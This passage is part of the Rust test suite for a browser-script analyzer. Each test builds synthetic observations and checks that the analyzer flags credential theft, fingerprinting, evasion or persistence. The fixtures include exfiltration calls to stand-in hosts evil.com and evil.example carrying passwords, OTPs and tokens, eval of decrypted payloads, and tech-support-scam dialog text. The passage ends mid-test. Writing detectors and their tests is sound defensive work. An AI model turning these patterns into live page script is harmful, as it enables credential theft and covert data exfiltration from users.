3913 fn webgl_audio_fingerprint_then_fetch_is_detected() {
3914 let observations = vec![
3915 Observation::FingerprintAccess {
3916 api: "canvas.getContext.webgl".into(),
3917 detail: "webgl".into(),
3918 },
3919 Observation::FingerprintAccess {
3920 api: "webgl.getParameter".into(),
3921 detail: "37445".into(),
3922 },
3923 Observation::FingerprintAccess {
3924 api: "AudioContext.construct".into(),
3925 detail: "AudioContext".into(),
3926 },
3927 Observation::FingerprintAccess {
3928 api: "audio.createOscillator".into(),
3929 detail: "AudioContext".into(),
3930 },
3931 Observation::ApiCall {
3932 api: "fetch".into(),
3933 args: vec![Value::string("[\"https://evil.com/render-fp\",\"POST\"]")],
3934 result: Value::Undefined,
3935 },
3936 ];
3937 let report = analyze(&observations);
3938 assert!(report.findings.iter().any(|f| {
3939 f.severity == Severity::High
3940 && f.category == Category::Fingerprinting
3941 && f.title
3942 .contains("Render/audio fingerprinting with outbound delivery")
3943 }));
3944 }
3945
3946 #[test]
3947 fn resource_power_probe_then_fetch_is_detected() {
3948 let observations = vec![
3949 Observation::FingerprintAccess {
3950 api: "navigator.storage.estimate".into(),
3951 detail: "{\"quota\":1073741824,\"usage\":5242880}".into(),
3952 },
3953 Observation::FingerprintAccess {
3954 api: "navigator.getBattery".into(),
3955 detail: "1".into(),
3956 },
3957 Observation::ApiCall {
3958 api: "fetch".into(),
3959 args: vec![Value::string(
3960 "[\"https://evil.com/resource-stage\",\"POST\"]",
3961 )],
3962 result: Value::Undefined,
3963 },
3964 ];
3965 let report = analyze(&observations);
3966 assert!(report.findings.iter().any(|f| {
3967 f.severity >= Severity::High
3968 && f.title.contains("Resource/power-aware staged targeting")
3969 }));
3970 }
3971
3972 #[test]
3973 fn webauthn_probe_then_fetch_is_detected() {
3974 let observations = vec![
3975 Observation::ApiCall {
3976 api: "PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable".into(),
3977 args: vec![],
3978 result: Value::Bool(true),
3979 },
3980 Observation::ApiCall {
3981 api: "PublicKeyCredential.get".into(),
3982 args: vec![Value::string("{\"publicKey\":{\"challenge\":\"abc\"}}")],
3983 result: Value::Undefined,
3984 },
3985 Observation::ApiCall {
3986 api: "fetch".into(),
3987 args: vec![Value::string(
3988 "[\"https://evil.com/webauthn-stage\",\"POST\"]",
3989 )],
3990 result: Value::Undefined,
3991 },
3992 ];
3993 let report = analyze(&observations);
3994 assert!(report.findings.iter().any(|f| {
3995 f.severity >= Severity::High
3996 && f.title
3997 .contains("Passkey/WebAuthn-targeted staged credential flow")
3998 }));
3999 }
4000
4001 #[test]
4002 fn local_data_targeting_then_fetch_is_detected() {
4003 let observations = vec![
4004 Observation::ApiCall {
4005 api: "showOpenFilePicker".into(),
4006 args: vec![Value::string("{\"types\":[{\"description\":\"CSV\"}]}")],
4007 result: Value::Undefined,
4008 },
4009 Observation::ApiCall {
4010 api: "navigator.contacts.select".into(),
4011 args: vec![Value::string("[\"name\",\"email\"]")],
4012 result: Value::Undefined,
4013 },
4014 Observation::ApiCall {
4015 api: "fetch".into(),
4016 args: vec![Value::string(
4017 "[\"https://evil.com/local-data-stage\",\"POST\"]",
4018 )],
4019 result: Value::Undefined,
4020 },
4021 ];
4022 let report = analyze(&observations);
4023 assert!(report.findings.iter().any(|f| {
4024 f.severity >= Severity::High && f.title.contains("Local data-targeting staged flow")
4025 }));
4026 }
4027
4028 #[test]
4029 fn capture_device_targeting_then_fetch_is_detected() {
4030 let observations = vec![
4031 Observation::ApiCall {
4032 api: "navigator.mediaDevices.enumerateDevices".into(),
4033 args: vec![],
4034 result: Value::Undefined,
4035 },
4036 Observation::ApiCall {
4037 api: "navigator.mediaDevices.getDisplayMedia".into(),
4038 args: vec![Value::string("{\"video\":true}")],
4039 result: Value::Undefined,
4040 },
4041 Observation::ApiCall {
4042 api: "fetch".into(),
4043 args: vec![Value::string(
4044 "[\"https://evil.com/capture-stage\",\"POST\"]",
4045 )],
4046 result: Value::Undefined,
4047 },
4048 ];
4049 let report = analyze(&observations);
4050 assert!(report.findings.iter().any(|f| {
4051 f.severity >= Severity::High && f.title.contains("Capture-device-targeted staged flow")
4052 }));
4053 }
4054
4055 #[test]
4056 fn lifecycle_hooks_plus_beacon_are_detected() {
4057 let observations = vec![
4058 Observation::ApiCall {
4059 api: "window.pagehide.register".into(),
4060 args: vec![Value::string("[\"listener\"]")],
4061 result: Value::Undefined,
4062 },
4063 Observation::ApiCall {
4064 api: "document.visibilitychange.register".into(),
4065 args: vec![Value::string("[\"listener\"]")],
4066 result: Value::Undefined,
4067 },
4068 Observation::ApiCall {
4069 api: "navigator.sendBeacon".into(),
4070 args: vec![Value::string("[\"https://evil.com/exit\",\"token=abc\"]")],
4071 result: Value::Bool(true),
4072 },
4073 ];
4074 let report = analyze(&observations);
4075 assert!(report.findings.iter().any(|f| {
4076 f.severity >= Severity::High
4077 && f.title.contains("Lifecycle-triggered exfiltration staging")
4078 }));
4079 }
4080
4081 #[test]
4082 fn install_surface_persistence_staging_is_detected() {
4083 let observations = vec![
4084 Observation::ApiCall {
4085 api: "navigator.registerProtocolHandler".into(),
4086 args: vec![Value::string(
4087 "[\"web+pay\",\"https://evil.com/?u=%s\",\"Secure Pay\"]",
4088 )],
4089 result: Value::Undefined,
4090 },
4091 Observation::ApiCall {
4092 api: "launchQueue.setConsumer".into(),
4093 args: vec![],
4094 result: Value::Undefined,
4095 },
4096 Observation::ApiCall {
4097 api: "localStorage.setItem".into(),
4098 args: vec![Value::string("[\"campaign\",\"persist\"]")],
4099 result: Value::Undefined,
4100 },
4101 Observation::ApiCall {
4102 api: "serviceworker.register".into(),
4103 args: vec![Value::string("[\"/sw.js\"]")],
4104 result: Value::Undefined,
4105 },
4106 ];
4107 let report = analyze(&observations);
4108 assert!(report.findings.iter().any(|f| {
4109 f.severity >= Severity::High && f.title.contains("Install-surface persistence staging")
4110 }));
4111 }
4112
4113 #[test]
4114 fn offline_push_persistence_staging_is_detected() {
4115 let observations = vec![
4116 Observation::ApiCall {
4117 api: "serviceworker.register".into(),
4118 args: vec![Value::string("[\"/sw.js?offline=stage\"]")],
4119 result: Value::Undefined,
4120 },
4121 Observation::ApiCall {
4122 api: "caches.open".into(),
4123 args: vec![Value::string("[\"stage-cache\"]")],
4124 result: Value::Undefined,
4125 },
4126 Observation::ApiCall {
4127 api: "cache.put".into(),
4128 args: vec![Value::string("[\"https://evil.com/offline-payload.js\"]")],
4129 result: Value::Undefined,
4130 },
4131 Observation::ApiCall {
4132 api: "pushManager.subscribe".into(),
4133 args: vec![Value::string("[{\"userVisibleOnly\":true}]")],
4134 result: Value::Undefined,
4135 },
4136 Observation::ApiCall {
4137 api: "sync.register".into(),
4138 args: vec![Value::string("[\"credential-stage\"]")],
4139 result: Value::Undefined,
4140 },
4141 Observation::ApiCall {
4142 api: "fetch".into(),
4143 args: vec![Value::string(
4144 "[\"https://evil.com/offline-stage\",\"POST\"]",
4145 )],
4146 result: Value::Undefined,
4147 },
4148 ];
4149 let report = analyze(&observations);
4150 assert!(report.findings.iter().any(|f| {
4151 f.severity >= Severity::High && f.title.contains("Offline/push persistence staging")
4152 }));
4153 }
4154
4155 #[test]
4156 fn delayed_credential_lure_activation_is_detected() {
4157 let observations = vec![
4158 Observation::TimerSet {
4159 id: 1,
4160 delay_ms: 5000,
4161 is_interval: false,
4162 callback_preview: "show_login()".into(),
4163 },
4164 Observation::ApiCall {
4165 api: "credential_form_detected".into(),
4166 args: vec![Value::string(
4167 "[\"https://evil.com/collect\",\"password\",\"true\"]",
4168 )],
4169 result: Value::Undefined,
4170 },
4171 ];
4172
4173 let report = analyze(&observations);
4174
4175 assert!(report.findings.iter().any(|f| {
4176 f.severity == Severity::High
4177 && f.category == Category::CredentialTheft
4178 && f.title.contains("Delayed credential lure activation")
4179 }));
4180 }
4181
4182 #[test]
4183 fn navigator_property_reads_count_as_fingerprinting() {
4184 let observations = vec![
4185 Observation::PropertyRead {
4186 object: "navigator".into(),
4187 property: "userAgent".into(),
4188 value: Value::string("Mozilla/5.0"),
4189 },
4190 Observation::TimerSet {
4191 id: 1,
4192 delay_ms: 5000,
4193 is_interval: false,
4194 callback_preview: "fetch('https://evil.com/stage')".into(),
4195 },
4196 Observation::ApiCall {
4197 api: "fetch".into(),
4198 args: vec![Value::string("[\"https://evil.com/stage\",\"GET\"]")],
4199 result: Value::Undefined,
4200 },
4201 ];
4202
4203 let report = analyze(&observations);
4204
4205 assert!(report.findings.iter().any(|f| {
4206 f.category == Category::Fingerprinting && f.title.contains("navigator.userAgent")
4207 }));
4208 assert!(report.findings.iter().any(|f| {
4209 f.severity == Severity::High
4210 && f.category == Category::Evasion
4211 && f.title
4212 .contains("Fingerprint-gated delayed network staging")
4213 }));
4214 }
4215
4216 #[test]
4217 fn visibility_state_gating_before_fetch_is_detected() {
4218 let observations = vec![
4219 Observation::ApiCall {
4220 api: "fingerprint.read".into(),
4221 args: vec![Value::string("[\"document.visibilityState\",\"visible\"]")],
4222 result: Value::Undefined,
4223 },
4224 Observation::ApiCall {
4225 api: "fetch".into(),
4226 args: vec![Value::string("[\"https://evil.com/stage\",\"GET\"]")],
4227 result: Value::Undefined,
4228 },
4229 ];
4230
4231 let report = analyze(&observations);
4232
4233 assert!(report.findings.iter().any(|f| {
4234 f.severity == Severity::High
4235 && f.category == Category::Evasion
4236 && f.title.contains("Analysis-aware environment gating")
4237 }));
4238 }
4239
4240 #[test]
4241 fn credential_surface_plus_paste_monitor_and_clipboard_read_is_detected() {
4242 let observations = vec![
4243 Observation::ApiCall {
4244 api: "credential_form_detected".into(),
4245 args: vec![Value::string(
4246 "[\"https://evil.com/collect\",\"password\",\"true\"]",
4247 )],
4248 result: Value::Undefined,
4249 },
4250 Observation::ApiCall {
4251 api: "element.addEventListener".into(),
4252 args: vec![Value::string("[12,\"paste\"]")],
4253 result: Value::Undefined,
4254 },
4255 Observation::ApiCall {
4256 api: "clipboard.readText".into(),
4257 args: vec![Value::string("[]")],
4258 result: Value::string("123456"),
4259 },
4260 ];
4261
4262 let report = analyze(&observations);
4263
4264 assert!(report.findings.iter().any(|f| {
4265 f.severity == Severity::Critical
4266 && f.category == Category::CredentialTheft
4267 && f.title.contains("Pasted secret interception")
4268 }));
4269 }
4270
4271 #[test]
4272 fn credential_surface_plus_input_monitor_is_interception() {
4273 let observations = vec![
4274 Observation::ApiCall {
4275 api: "credential_form_detected".into(),
4276 args: vec![Value::string(
4277 "[\"https://evil.com/collect\",\"password\",\"true\"]",
4278 )],
4279 result: Value::Undefined,
4280 },
4281 Observation::ApiCall {
4282 api: "element.addEventListener".into(),
4283 args: vec![Value::string("[12,\"keydown\"]")],
4284 result: Value::Undefined,
4285 },
4286 ];
4287
4288 let report = analyze(&observations);
4289
4290 assert!(report.findings.iter().any(|f| {
4291 f.severity == Severity::High
4292 && f.category == Category::CredentialTheft
4293 && f.title.contains("Credential field input interception")
4294 }));
4295 }
4296
4297 #[test]
4298 fn urgent_dialog_plus_beforeunload_is_modal_lockin() {
4299 let observations = vec![
4300 Observation::ApiCall {
4301 api: "window.alert".into(),
4302 args: vec![Value::string("[\"Windows Defender Warning\"]")],
4303 result: Value::Undefined,
4304 },
4305 Observation::ApiCall {
4306 api: "window.beforeunload.register".into(),
4307 args: vec![Value::string("[\"Stay here\"]")],
4308 result: Value::Undefined,
4309 },
4310 ];
4311
4312 let report = analyze(&observations);
4313 assert!(report.findings.iter().any(|f| {
4314 f.severity == Severity::High
4315 && f.category == Category::Evasion
4316 && f.title.contains("Modal lock-in and navigation trapping")
4317 }));
4318 }
4319
4320 #[test]
4321 fn modal_lockin_plus_fetch_is_tech_support_style_staging() {
4322 let observations = vec![
4323 Observation::ApiCall {
4324 api: "window.confirm".into(),
4325 args: vec![Value::string("[\"Call Microsoft Support immediately?\"]")],
4326 result: Value::Undefined,
4327 },
4328 Observation::ApiCall {
4329 api: "window.beforeunload.register".into(),
4330 args: vec![Value::string("[\"Your computer is infected\"]")],
4331 result: Value::Undefined,
4332 },
4333 Observation::ApiCall {
4334 api: "fetch".into(),
4335 args: vec![Value::string("[\"https://evil.com/lockin\",\"GET\"]")],
4336 result: Value::Undefined,
4337 },
4338 ];
4339
4340 let report = analyze(&observations);
4341 assert!(report.findings.iter().any(|f| {
4342 f.severity == Severity::Critical
4343 && f.category == Category::Evasion
4344 && f.title
4345 .contains("Tech-support style lock-in with off-origin staging")
4346 }));
4347 }
4348
4349 #[test]
4350 fn urgent_dialog_plus_fullscreen_is_modal_lockin() {
4351 let observations = vec![
4352 Observation::ApiCall {
4353 api: "window.alert".into(),
4354 args: vec![Value::string("[\"Windows Defender Warning\"]")],
4355 result: Value::Undefined,
4356 },
4357 Observation::ApiCall {
4358 api: "element.requestFullscreen".into(),
4359 args: vec![Value::string("[1]")],
4360 result: Value::Undefined,
4361 },
4362 ];
4363
4364 let report = analyze(&observations);
4365 assert!(report.findings.iter().any(|f| {
4366 f.severity == Severity::High
4367 && f.category == Category::Evasion
4368 && f.title.contains("Modal lock-in and navigation trapping")
4369 }));
4370 }
4371
4372 #[test]
4373 fn modal_lockin_plus_pointer_lock_and_fetch_is_tech_support_style_staging() {
4374 let observations = vec![
4375 Observation::ApiCall {
4376 api: "window.confirm".into(),
4377 args: vec![Value::string("[\"Call Microsoft Support immediately?\"]")],
4378 result: Value::Undefined,
4379 },
4380 Observation::ApiCall {
4381 api: "element.requestPointerLock".into(),
4382 args: vec![Value::string("[1]")],
4383 result: Value::Undefined,
4384 },
4385 Observation::ApiCall {
4386 api: "fetch".into(),
4387 args: vec![Value::string("[\"https://evil.com/lockin\",\"GET\"]")],
4388 result: Value::Undefined,
4389 },
4390 ];
4391
4392 let report = analyze(&observations);
4393 assert!(report.findings.iter().any(|f| {
4394 f.severity == Severity::Critical
4395 && f.category == Category::Evasion
4396 && f.title
4397 .contains("Tech-support style lock-in with off-origin staging")
4398 }));
4399 }
4400
4401 #[test]
4402 fn urgent_dialog_plus_vibration_is_alarm_style_coercion() {
4403 let observations = vec![
4404 Observation::ApiCall {
4405 api: "window.alert".into(),
4406 args: vec![Value::string("[\"Windows Defender Warning\"]")],
4407 result: Value::Undefined,
4408 },
4409 Observation::ApiCall {
4410 api: "navigator.vibrate".into(),
4411 args: vec![Value::string("[[200,100,200]]")],
4412 result: Value::Undefined,
4413 },
4414 ];
4415
4416 let report = analyze(&observations);
4417 assert!(report.findings.iter().any(|f| {
4418 f.severity == Severity::High
4419 && f.category == Category::Evasion
4420 && f.title.contains("Alarm-style coercion cues")
4421 }));
4422 }
4423
4424 #[test]
4425 fn urgent_dialog_plus_speech_and_fetch_is_alarm_style_staging() {
4426 let observations = vec![
4427 Observation::ApiCall {
4428 api: "window.confirm".into(),
4429 args: vec![Value::string("[\"Call Microsoft Support immediately?\"]")],
4430 result: Value::Undefined,
4431 },
4432 Observation::ApiCall {
4433 api: "speechSynthesis.speak".into(),
4434 args: vec![Value::string("[\"Your device is infected\"]")],
4435 result: Value::Undefined,
4436 },
4437 Observation::ApiCall {
4438 api: "fetch".into(),
4439 args: vec![Value::string("[\"https://evil.com/panic\",\"GET\"]")],
4440 result: Value::Undefined,
4441 },
4442 ];
4443
4444 let report = analyze(&observations);
4445 assert!(report.findings.iter().any(|f| {
4446 f.severity == Severity::Critical
4447 && f.category == Category::Evasion
4448 && f.title
4449 .contains("Alarm-style coercion with off-origin staging")
4450 }));
4451 }
4452
4453 #[test]
4454 fn credential_surface_plus_input_monitor_and_fetch_is_interactive_relay() {
4455 let observations = vec![
4456 Observation::ApiCall {
4457 api: "credential_form_detected".into(),
4458 args: vec![Value::string(
4459 "[\"https://evil.com/collect\",\"password\",\"true\"]",
4460 )],
4461 result: Value::Undefined,
4462 },
4463 Observation::ApiCall {
4464 api: "element.addEventListener".into(),
4465 args: vec![Value::string("[12,\"input\"]")],
4466 result: Value::Undefined,
4467 },
4468 Observation::ApiCall {
4469 api: "fetch".into(),
4470 args: vec![Value::string("[\"https://evil.com/stream\",\"POST\"]")],
4471 result: Value::Undefined,
4472 },
4473 ];
4474
4475 let report = analyze(&observations);
4476
4477 assert!(report.findings.iter().any(|f| {
4478 f.severity == Severity::Critical
4479 && f.category == Category::CredentialTheft
4480 && f.title
4481 .contains("Interactive credential interception and relay")
4482 }));
4483 }
4484
4485 #[test]
4486 fn credential_surface_plus_window_name_and_fetch_is_detected() {
4487 let observations = vec![
4488 Observation::ApiCall {
4489 api: "window.name.set".into(),
4490 args: vec![Value::string("[\"https://evil.com/steal\"]")],
4491 result: Value::Undefined,
4492 },
4493 Observation::ApiCall {
4494 api: "credential_form_detected".into(),
4495 args: vec![Value::string(
4496 "[\"https://evil.com/collect\",\"password\",\"true\"]",
4497 )],
4498 result: Value::Undefined,
4499 },
4500 Observation::ApiCall {
4501 api: "fetch".into(),
4502 args: vec![Value::string("[\"https://evil.com/steal\",\"POST\"]")],
4503 result: Value::Undefined,
4504 },
4505 ];
4506
4507 let report = analyze(&observations);
4508
4509 assert!(report.findings.iter().any(|f| {
4510 f.severity == Severity::Critical
4511 && f.category == Category::CredentialTheft
4512 && f.title.contains("Credential relay via window.name")
4513 }));
4514 assert!(report.findings.iter().any(|f| {
4515 f.severity == Severity::Critical
4516 && f.category == Category::Persistence
4517 && f.title
4518 .contains("Cross-navigation covert staging via window.name")
4519 }));
4520 }
4521
4522 #[test]
4523 fn credential_surface_plus_sharedworker_message_is_detected() {
4524 let observations = vec![
4525 Observation::ApiCall {
4526 api: "credential_form_detected".into(),
4527 args: vec![Value::string(
4528 "[\"https://evil.com/collect\",\"password\",\"true\"]",
4529 )],
4530 result: Value::Undefined,
4531 },
4532 Observation::ApiCall {
4533 api: "sharedworker.create".into(),
4534 args: vec![Value::string("[\"https://evil.com/relay.js\"]")],
4535 result: Value::Undefined,
4536 },
4537 Observation::ApiCall {
4538 api: "sharedworker.port.postMessage".into(),
4539 args: vec![Value::string(
4540 "[\"https://evil.com/relay.js\",\"otp=123456\"]",
4541 )],
4542 result: Value::Undefined,
4543 },
4544 ];
4545
4546 let report = analyze(&observations);
4547
4548 assert!(report.findings.iter().any(|f| {
4549 f.severity == Severity::Critical
4550 && f.category == Category::CredentialTheft
4551 && f.title.contains("Credential relay via SharedWorker")
4552 }));
4553 assert!(report.findings.iter().any(|f| {
4554 f.severity == Severity::Critical
4555 && f.category == Category::CredentialTheft
4556 && f.title
4557 .contains("Credential relay via in-browser covert channels")
4558 }));
4559 }
4560
4561 #[test]
4562 fn credential_api_plus_fetch_is_detected() {
4563 let observations = vec![
4564 Observation::ApiCall {
4565 api: "credentials.create".into(),
4566 args: vec![Value::string(
4567 "[\"{\\\"id\\\":\\\"victim@example.com\\\"}\"]",
4568 )],
4569 result: Value::Undefined,
4570 },
4571 Observation::ApiCall {
4572 api: "PasswordCredential".into(),
4573 args: vec![Value::string("[\"victim@example.com\"]")],
4574 result: Value::Undefined,
4575 },
4576 Observation::ApiCall {
4577 api: "fetch".into(),
4578 args: vec![Value::string("[\"https://evil.com/collect\",\"POST\"]")],
4579 result: Value::Undefined,
4580 },
4581 ];
4582
4583 let report = analyze(&observations);
4584
4585 assert!(report.findings.iter().any(|f| {
4586 f.severity == Severity::Critical
4587 && f.category == Category::CredentialTheft
4588 && f.title
4589 .contains("Credential API abuse with off-origin activity")
4590 }));
4591 }
4592
4593 #[test]
4594 fn indexeddb_backed_credential_staging_is_detected() {
4595 let observations = vec![
4596 Observation::ApiCall {
4597 api: "credential_form_detected".into(),
4598 args: vec![Value::string("[\"https://evil.com/login\",\"POST\",true]")],
4599 result: Value::Undefined,
4600 },
4601 Observation::ApiCall {
4602 api: "indexedDB.open".into(),
4603 args: vec![Value::string("[\"vault\",1]")],
4604 result: Value::Undefined,
4605 },
4606 Observation::ApiCall {
4607 api: "fetch".into(),
4608 args: vec![Value::string("[\"https://evil.com/collect\",\"POST\"]")],
4609 result: Value::Undefined,
4610 },
4611 ];
4612 let report = analyze(&observations);
4613 assert!(report.findings.iter().any(|f| {
4614 f.severity == Severity::Critical
4615 && f.category == Category::Persistence
4616 && f.title.contains("IndexedDB-backed credential staging")
4617 }));
4618 }
4619
4620 #[test]
4621 fn trusted_types_and_scheduler_staging_are_detected() {
4622 let observations = vec![
4623 Observation::ApiCall {
4624 api: "trustedTypes.createPolicy".into(),
4625 args: vec![Value::string("[\"stage-loader\"]")],
4626 result: Value::Undefined,
4627 },
4628 Observation::ApiCall {
4629 api: "scheduler.postTask".into(),
4630 args: vec![Value::string("[\"background\"]")],
4631 result: Value::Undefined,
4632 },
4633 Observation::ApiCall {
4634 api: "serviceworker.register".into(),
4635 args: vec![Value::string("[\"https://evil.com/sw.js\"]")],
4636 result: Value::Undefined,
4637 },
4638 Observation::ApiCall {
4639 api: "fetch".into(),
4640 args: vec![Value::string("[\"https://evil.com/stage\",\"GET\"]")],
4641 result: Value::Undefined,
4642 },
4643 ];
4644 let report = analyze(&observations);
4645 assert!(report.findings.iter().any(|f| {
4646 f.severity >= Severity::High
4647 && f.category == Category::Evasion
4648 && f.title.contains("Scheduler-driven delayed staging")
4649 }));
4650 assert!(report.findings.iter().any(|f| {
4651 f.severity >= Severity::Medium
4652 && f.category == Category::Evasion
4653 && f.title.contains("Trusted Types policy")
4654 }));
4655 }
4656
4657 #[test]
4658 fn request_idle_callback_staging_is_detected() {
4659 let observations = vec![
4660 Observation::ApiCall {
4661 api: "requestIdleCallback".into(),
4662 args: vec![Value::string("[\"250\"]")],
4663 result: Value::Undefined,
4664 },
4665 Observation::ApiCall {
4666 api: "serviceworker.register".into(),
4667 args: vec![Value::string("[\"https://evil.com/sw.js\"]")],
4668 result: Value::Undefined,
4669 },
4670 Observation::ApiCall {
4671 api: "fetch".into(),
4672 args: vec![Value::string("[\"https://evil.com/stage\",\"GET\"]")],
4673 result: Value::Undefined,
4674 },
4675 ];
4676 let report = analyze(&observations);
4677 assert!(report.findings.iter().any(|f| {
4678 f.severity >= Severity::High
4679 && f.category == Category::Evasion
4680 && f.title.contains("Scheduler-driven delayed staging")
4681 }));
4682 assert!(report.findings.iter().any(|f| {
4683 f.severity >= Severity::Medium
4684 && f.category == Category::Evasion
4685 && f.title.contains("requestIdleCallback")
4686 }));
4687 }
4688
4689 #[test]
4690 fn animation_frame_and_microtask_staging_are_detected() {
4691 let observations = vec![
4692 Observation::ApiCall {
4693 api: "requestAnimationFrame".into(),
4694 args: vec![Value::string("[]")],
4695 result: Value::Undefined,
4696 },
4697 Observation::ApiCall {
4698 api: "queueMicrotask".into(),
4699 args: vec![Value::string("[]")],
4700 result: Value::Undefined,
4701 },
4702 Observation::ApiCall {
4703 api: "serviceworker.register".into(),
4704 args: vec![Value::string("[\"https://evil.com/sw.js\"]")],
4705 result: Value::Undefined,
4706 },
4707 Observation::ApiCall {
4708 api: "fetch".into(),
4709 args: vec![Value::string("[\"https://evil.com/stage\",\"GET\"]")],
4710 result: Value::Undefined,
4711 },
4712 ];
4713 let report = analyze(&observations);
4714 assert!(report.findings.iter().any(|f| {
4715 f.severity >= Severity::High
4716 && f.category == Category::Evasion
4717 && f.title.contains("Scheduler-driven delayed staging")
4718 }));
4719 assert!(report.findings.iter().any(|f| {
4720 f.severity >= Severity::Medium
4721 && f.category == Category::Evasion
4722 && f.title.contains("requestAnimationFrame")
4723 }));
4724 assert!(report.findings.iter().any(|f| {
4725 f.severity >= Severity::Medium
4726 && f.category == Category::Evasion
4727 && f.title.contains("queueMicrotask")
4728 }));
4729 }
4730
4731 #[test]
4732 fn current_script_plus_dynamic_code_is_detected() {
4733 let observations = vec![
4734 Observation::ApiCall {
4735 api: "fingerprint.read".into(),
4736 args: vec![Value::string(
4737 "[\"document.currentScript\",\"[object HTMLScriptElement]\"]",
4738 )],
4739 result: Value::Undefined,
4740 },
4741 Observation::DynamicCodeExec {
4742 source: crate::observation::DynamicCodeSource::Eval,
4743 code_preview: "eval(document.currentScript.textContent)".into(),
4744 },
4745 ];
4746 let report = analyze(&observations);
4747 assert!(report.findings.iter().any(|f| {
4748 f.severity >= Severity::High
4749 && f.category == Category::Evasion
4750 && f.title.contains("Self-referential dynamic loader")
4751 }));
4752 }
4753
4754 #[test]
4755 fn encrypted_payload_staging_is_detected() {
4756 let observations = vec![
4757 Observation::ApiCall {
4758 api: "crypto.subtle.importKey".into(),
4759 args: vec![Value::string("[\"raw\"]")],
4760 result: Value::Undefined,
4761 },
4762 Observation::ApiCall {
4763 api: "crypto.subtle.decrypt".into(),
4764 args: vec![Value::string("[\"AES-GCM\"]")],
4765 result: Value::Undefined,
4766 },
4767 Observation::ApiCall {
4768 api: "fetch".into(),
4769 args: vec![Value::string("[\"https://evil.com/stage\",\"POST\"]")],
4770 result: Value::Undefined,
4771 },
4772 ];
4773 let report = analyze(&observations);
4774 assert!(report.findings.iter().any(|f| {
4775 f.severity >= Severity::High
4776 && f.category == Category::CodeInjection
4777 && f.title
4778 .contains("Encrypted payload staging and action delivery")
4779 }));
4780 }
4781
4782 #[test]
4783 fn decrypted_payload_plus_dynamic_code_is_detected() {
4784 let observations = vec![
4785 Observation::ApiCall {
4786 api: "crypto.subtle.decrypt".into(),
4787 args: vec![Value::string("[\"AES-GCM\"]")],
4788 result: Value::Undefined,
4789 },
4790 Observation::DynamicCodeExec {
4791 source: crate::observation::DynamicCodeSource::Eval,
4792 code_preview: "eval(decryptedStage)".into(),
4793 },
4794 ];
4795 let report = analyze(&observations);
4796 assert!(report.findings.iter().any(|f| {
4797 f.severity == Severity::Critical
4798 && f.category == Category::CodeInjection
4799 && f.title
4800 .contains("Decrypted payload executed via dynamic code")
4801 }));
4802 }
4803
4804 #[test]
4805 fn webrtc_data_channel_send_is_covert_exfiltration() {
4806 let report = analyze(&[
4807 Observation::ApiCall {
4808 api: "webrtc.peer_connection".into(),
4809 args: vec![Value::string("[]")],
4810 result: Value::Undefined,
4811 },
4812 Observation::ApiCall {
4813 api: "webrtc.data_channel".into(),
4814 args: vec![Value::string("[\"telemetry\"]")],
4815 result: Value::Undefined,
4816 },
4817 Observation::ApiCall {
4818 api: "webrtc.data_channel_send".into(),
4819 args: vec![Value::string("[\"telemetry\",\"candidate=192.168.1.12\"]")],
4820 result: Value::Undefined,
4821 },
4822 ]);
4823
4824 assert!(
4825 report
4826 .findings
4827 .iter()
4828 .any(|f| f.title.contains("Covert peer-to-peer exfiltration channel"))
4829 );
4830 }
4831
4832 #[test]
4833 fn credential_surface_plus_webrtc_send_is_credential_relay() {
4834 let report = analyze(&[
4835 Observation::ApiCall {
4836 api: "credential_form_detected".into(),
4837 args: vec![Value::string(
4838 "[\"https://evil.example/submit\",\"login\",true]",
4839 )],
4840 result: Value::Undefined,
4841 },
4842 Observation::ApiCall {
4843 api: "webrtc.peer_connection".into(),
4844 args: vec![Value::string("[]")],
4845 result: Value::Undefined,
4846 },
4847 Observation::ApiCall {
4848 api: "webrtc.data_channel_send".into(),
4849 args: vec![Value::string("[\"telemetry\",\"hunter2\"]")],
4850 result: Value::Undefined,
4851 },
4852 ]);
4853
4854 assert!(
4855 report
4856 .findings
4857 .iter()
4858 .any(|f| f.title.contains("Credential relay over WebRTC"))
4859 );
4860 }
4861
4862 #[test]
4863 fn credential_surface_plus_broadcastchannel_is_credential_relay() {
4864 let report = analyze(&[
4865 Observation::ApiCall {
4866 api: "credential_form_detected".into(),
4867 args: vec![Value::string(
4868 "[\"https://evil.example/submit\",\"login\",true]",
4869 )],
4870 result: Value::Undefined,
4871 },
4872 Observation::ApiCall {
4873 api: "broadcastChannel.create".into(),
4874 args: vec![Value::string("[\"creds\"]")],
4875 result: Value::Undefined,
4876 },
4877 Observation::ApiCall {
4878 api: "broadcastChannel.postMessage".into(),
4879 args: vec![Value::string("[\"creds\",\"password=hunter2\"]")],
4880 result: Value::Undefined,
4881 },
4882 ]);
4883
4884 assert!(report.findings.iter().any(|f| {
4885 f.severity == Severity::Critical
4886 && f.category == Category::CredentialTheft
4887 && f.title
4888 .contains("Credential relay via in-browser covert channels")
4889 }));
4890 }
4891
4892 #[test]
4893 fn credential_surface_plus_storage_event_is_credential_relay() {
4894 let report = analyze(&[
4895 Observation::ApiCall {
4896 api: "credential_form_detected".into(),
4897 args: vec![Value::string(
4898 "[\"https://evil.example/submit\",\"login\",true]",
4899 )],
4900 result: Value::Undefined,
4901 },
4902 Observation::ApiCall {
4903 api: "storageEvent.register".into(),
4904 args: vec![Value::string("[\"listener\"]")],
4905 result: Value::Undefined,
4906 },
4907 Observation::ApiCall {
4908 api: "storageEvent.fire".into(),
4909 args: vec![Value::string("[\"local\",\"otp\",\"654321\",\"\"]")],
4910 result: Value::Undefined,
4911 },
4912 Observation::ApiCall {
4913 api: "fetch".into(),
4914 args: vec![Value::string("[\"https://evil.example/relay\",\"POST\"]")],
4915 result: Value::Undefined,
4916 },
4917 ]);
4918
4919 assert!(report.findings.iter().any(|f| {
4920 f.severity == Severity::Critical
4921 && f.category == Category::CredentialTheft
4922 && f.title
4923 .contains("Credential relay via in-browser covert channels")
4924 }));
4925 assert!(report.findings.iter().any(|f| {
4926 f.severity == Severity::Critical
4927 && f.category == Category::Persistence
4928 && f.title.contains("Cross-tab storage-event staging")
4929 }));
4930 }
4931
4932 #[test]
4933 fn observer_driven_staged_credential_injection_is_detected() {
4934 let report = analyze(&[
4935 Observation::ApiCall {
4936 api: "credential_form_detected".into(),
4937 args: vec![Value::string(
4938 "[\"https://evil.example/submit\",\"login\",true]",
4939 )],
4940 result: Value::Undefined,
4941 },
4942 Observation::ApiCall {
4943 api: "intersectionObserver.observe".into(),
4944 args: vec![Value::string("[1,\"{\\\"threshold\\\":0.5}\"]")],
4945 result: Value::Undefined,
4946 },
4947 Observation::ApiCall {
4948 api: "fetch".into(),
